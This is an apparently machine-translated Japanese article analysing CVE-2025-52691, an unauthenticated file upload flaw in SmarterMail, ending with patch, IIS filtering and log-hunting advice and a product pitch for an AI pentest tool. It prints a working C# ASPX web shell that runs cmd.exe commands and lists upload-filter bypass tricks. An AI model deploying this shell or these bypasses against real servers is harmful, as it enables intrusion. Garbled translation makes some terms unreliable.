大晦日の悪夢：CVE-2025-52691 SmarterMail RCEの解析

2025年に向けて時計の針が刻々と進む中、サイバーセキュリティ・コミュニティは最後の壊滅的な試練を手渡された。12月30日、シンガポールのサイバーセキュリティ庁（CSA）は、以下のような重大な警告を発した。 CVE-2025-52691の脆弱性である。 SmarterTools SmarterMail 最大重大度評価 CVSS 10.0.

レッドチームにとって、この脆弱性は "聖杯 "に相当する。 認証されていない任意のファイルアップロード に直結する。 リモートコード実行（RCE） として システム.ブルーチームやシステム管理者にとっては、企業のコミュニケーション・インフラの完全性に対する差し迫った現実的な脅威である。

これは理論的なバイパスでも複雑なレースコンディションでもない。入力処理における根本的なアーキテクチャの失敗である。この記事では、.NETエンドポイントがどのように失敗するのか、IISが悪意のあるペイロードをどのように処理するのか、そして最新のAI主導型セキュリティが、武器化される前にこれらの脅威をどのように特定できるのかを解剖しながら、脆弱性のフォレンジック分析を行う。

脅威の状況：CVE-2025-52691が異なる理由

SmarterMailは、MSP（マネージド・サービス・プロバイダー）や中堅企業に特に好まれ、Exchangeの代替手段として広く導入されている。これは Windows/IIS/.NET スタック。パーミッションによってファイルアップロードの被害が制限されるかもしれないLinuxベースのメールサーバーとは異なり、Windows IIS環境は容赦ない。

脆弱性インテリジェンス・カード

メートル	インテリジェンス詳細
CVE識別子	CVE-2025-52691
脆弱性クラス	無制限ファイルアップロード (CWE-434)
攻撃ベクトル	ネットワーク（リモート）
必要な特権	なし（認証なし）
ユーザー・インタラクション	なし
影響を受けるビルド	SmarterMail 9406以前
修復	すぐにビルド9413+にアップデートする

ここで危険なのは アタックサーフェス.メール・サーバーは定義上、公共のインターネットにさらされている。ゼロ認証を必要とし、安定したシェルを提供する脆弱性は、自動化されたボットネットがPoCリリースから数時間以内に何千ものサーバーを侵害できることを意味する。

CVE-2025-52691 SmarterMail RCEの解剖図

テクニカル・ディープ・ダイブ欠陥のメカニズム

CVE-2025-52691 がどのように機能するかを理解するには、SmarterMail がどのように HTTP リクエストを処理するかを分析する必要がある。この脆弱性は、ファイルの添付やユーザーのアップロードを処理するように設計された特定の API エンドポイントに存在します。

消えた "ゲートキーパー"

セキュアな.NETアプリケーションでは、コントローラのアクションを処理するファイルは、すべて [オーソライズ］ 属性と厳密なファイル検証ロジックが必要です。CVE-2025-52691が存在するのは、特定のハンドラ（おそらく一般的な .ashx ハンドラーやREST APIルートは、これらのチェックなしに公開された。

POSTリクエストがこのエンドポイントにヒットすると、サーバーは マルチパート/フォームデータ ストリーム

脆弱なコード・パターン（再構成）

正確なソースコードは非公開だが、標準的な.NET脆弱性クラスに基づいて脆弱性パターンを再構築することができる。この欠陥は、おそらく以下のC#ロジックに似ている：

public class LegacyUploadHandler : IHttpHandler { public void ProcessRequest(HttpContext context) { // FATAL FLAW: No session check or authentication verification // if (context.Session["User"] == null) return; <- MISSING

    HttpPostedFile file = context.Request.Files["upload"]；
    string fileName = file.FileName；

    // FATAL FLAW: ファイルパスのユーザー入力を信頼する
    // .aspx、.exe、.configのホワイトリストチェックなし
    string savePath = context.Server.MapPath("~/App_Data/Temp/" + fileName)；

    file.SaveAs(savePath)；
}

IIS実行パイプライン

なぜファイルのアップロードは致命的なのか？PHP では .htaccess.Pythonでは、スクリプトをアップロードして実行することはできない。しかし ASP.NET IIS上で動作しかし、挙動は異なる。

もし攻撃者がファイルを .aspx または .ashx 拡張子を、スクリプトの実行が可能なディレクトリ(ほとんどのウェブディレクトリのデフォルトです)に置くと、IISワーカープロセス(w3wp.exe) がそのファイルをコンパイルする。 ジャスト・イン・タイム（JIT） への最初のHTTPリクエストの時点で、そのHTTPリクエストは終了する。

攻撃者のアップロード シェル.aspx.
攻撃者のリクエスト GET /App_Data/Temp/shell.aspx.
アイアイエス 拡張機能を見て、CLR（Common Language Runtime）を起動する。
クロロフルオロカーボン の中のコードをコンパイルする。 シェル.aspx を実行する。
RCE達成。

大晦日の悪夢：CVE-2025-52691 SmarterMail RCEの解析

キル・チェーン発見からSYSTEMシェルまで

この攻撃経路をシミュレートするセキュリティ・エンジニアにとって、キル・チェーンは4つの異なるフェーズに従う。

フェーズ1：偵察

攻撃者は SmarterMail のフィンガープリントをスキャンする。

ヘッダー サーバーマイクロソフト-IIS/10.0, X-Powered-By：ASP.NET
タイトル ログイン
エンドポイント・プロービング： のような既知のアップロードエンドポイントに対するファジング。 /api/v1/設定/アップロード, /FileStorage/Upload.ashxまたはレガシーSOAPエンドポイント。

フェーズ2：兵器化

攻撃者は「ウェブシェル」を作成します。古典的なC#ウェブシェル・ペイロードは次のようになります：

protected void Page_Load(object sender, EventArgs e) { if (!string.IsNullOrEmpty(Request.QueryString["cmd"])){ Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c " + Request.QueryString["cmd"]; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.Start(); Response.Write(p.StandardOutput.ReadToEnd()); p.WaitForExit(); }.}</script

フェーズ3：デリバリー（エクスプロイト）

攻撃者はPOSTリクエストを送る。

バイパス・テクニック サーバーがコンテンツタイプをチェックする場合、攻撃者はヘッダーを以下のように修正する。 コンテンツタイプ： image/jpeg.サーバーが拡張子をチェックするが、ロジックエラーがある場合（例えば、最初の3文字しかチェックしない）、攻撃者は次のように使用する。 shell.aspx.jpg またはNTFS代替データストリーム・トリック(shell.aspx::$DATA).

第4段階：搾取

攻撃者はシェルにアクセスする：

https://mail.target.com/shell.aspx?cmd=whoami

反応だ： nt authoritysystem

この時点でゲームは終了する。攻撃者はLSASSプロセスをダンプして管理者認証情報を取得したり、ランサムウェアをインストールしたり、ドメインコントローラにピボットしたりできる。

無料スキャンを開始する そして サンプルレポートを見る

ロジックの欠陥検出におけるAIの役割：懺悔的アプローチ

従来のDAST（動的アプリケーション・セキュリティ・テスト）ツールは、次のような発見が苦手であることで有名です。 CVE-2025-52691 スタイルのバグ。どうして？

文脈の盲目： スキャナーはリンクのクロールを頼りにしている。HTMLにリンクされていないAPIエンドポイント（隠しエンドポイント）は、スキャナからは見えません。
破壊の恐怖： スキャナーは、アプリケーションの破損や管理者への警告を恐れて、ファイルのアップロードをためらっている。

そこで ペンリジェント は、攻撃型セキュリティ・チームのパラダイム・シフトを象徴しています。Penligentは、次のような特長を備えています。 AIによるロジック分析 単純なパターンマッチングではなく

発見できないものを発見する

Penligentのエージェントは、クライアント側のJavaScriptバンドルとコンパイルされたDLL（アクセス可能な場合）を分析し、APIマップを再構築します。明示的にリンクされていないアップロードハンドラの存在を推測し、CVE-2025-52691のような脆弱性が潜む「影のAPI」を効果的に発見します。

搾取の非破壊的証明

Penligentは、悪意のあるウェブシェルをアップロードする代わりに、ベニグマーカーファイル（一意のランダム化されたハッシュを持つテキストファイルなど）を生成します。アップロードを試み、その特定のハッシュが公開URL経由で取得可能かどうかを検証します。これにより、100%の確実性でUnrestricted File Upload脆弱性（CWE-434）が確認され、RCEやサービス停止のリスクはゼロとなります。

CISOにとって、これは理論上の「中程度」のリスクレポートと、早急なパッチ適用を要求する「クリティカル」な発見との違いを意味する。

修復とハード化戦略

SmarterMailを運用していると、時間との戦いになります。

即時パッチング

直ちに Build 9413 にアップグレードしてください。SmarterTools はこのリリースで厳格な認証チェックとホワイトリスト・ベースのファイル拡張子検証を実装しました。

IISリクエストフィルタリング（一時的な緩和策）

すぐにパッチを適用できない場合は、ウェブサーバレベルで攻撃ベクトルをブロックする必要があります。IIS リクエストフィルタリングを使用して、アップロードディレクトリ内の .aspx ファイルへのアクセスを拒否します。

アクション IIS Manager -> Request Filtering -> URL Tab -> Deny Sequence.
ルール へのリクエストをブロックする。 /App_Data/*.aspx または /FileStorage/*.aspx.

フォレンジック・ハンティング

あなたはすでに危険にさらされている可能性があります。ファイルシステムを検索してください：

で終わるファイル .aspx, .ashx, .cer, 石鹸 12月29日から今日までの間に作成された。
IIS ログ (u_ex*.log)は、未知のIPアドレスから来るアップロード・エンドポイントへのPOSTリクエストに対応し、新しいファイルへのGETリクエストがすぐに続く。